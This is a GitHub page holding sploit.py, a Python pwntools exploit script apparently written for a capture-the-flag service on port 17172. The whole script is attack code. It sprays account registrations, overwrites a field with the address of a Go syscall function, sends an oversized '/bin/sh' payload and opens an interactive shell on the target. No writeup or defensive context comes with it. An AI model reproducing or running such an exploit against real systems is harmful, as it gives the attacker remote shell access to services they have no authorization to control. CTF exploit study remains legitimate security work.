-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsploit.py
executable file
·82 lines (47 loc) · 1.56 KB
/
sploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import sys
import pwn
def register(io: pwn.tube, username: bytes, password: bytes, protection: bytes) -> None:
io.sendlineafter(b'> ', b'REGISTER')
io.sendlineafter(b': ', username)
io.sendlineafter(b': ', password)
io.sendlineafter(b': ', protection)
return
def login(io: pwn.tube, username: bytes, password: bytes) -> None:
io.sendlineafter(b'> ', b'LOGIN')
io.sendlineafter(b': ', username)
io.sendlineafter(b': ', password)
return
def info(io: pwn.tube) -> bytes:
io.sendlineafter(b'> ', b'INFO')
return io.recvline()[4:]
def update(io: pwn.tube, description: bytes) -> None:
io.sendlineafter(b'> ', b'UPDATE')
io.sendlineafter(b': ', description)
return
def logout(io: pwn.tube) -> None:
io.sendlineafter(b'> ', b'LOGOUT')
return
def exit(io: pwn.tube) -> None:
io.sendlineafter(b'> ', b'EXIT')
return
def main() -> None:
IP = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 17172
io = pwn.remote(IP, PORT)
# 0000000000402680 T syscall.RawSyscall6
for i in range(28):
register(io, f'x_{i}'.encode(), b'x', b'full')
logout(io)
register(io, b'x', b'x', b'full')
update(io, pwn.p64(0x0000000000402680) + pwn.p64(0))
logout(io)
login(io, b'x', b'x')
logout(io)
# pwn.pause()
payload = b'/bin/sh\x00'
payload += b'A' * (0x400008 - len(payload))
register(io, payload, b'y', b'full')
io.interactive()
if __name__ == '__main__':
main()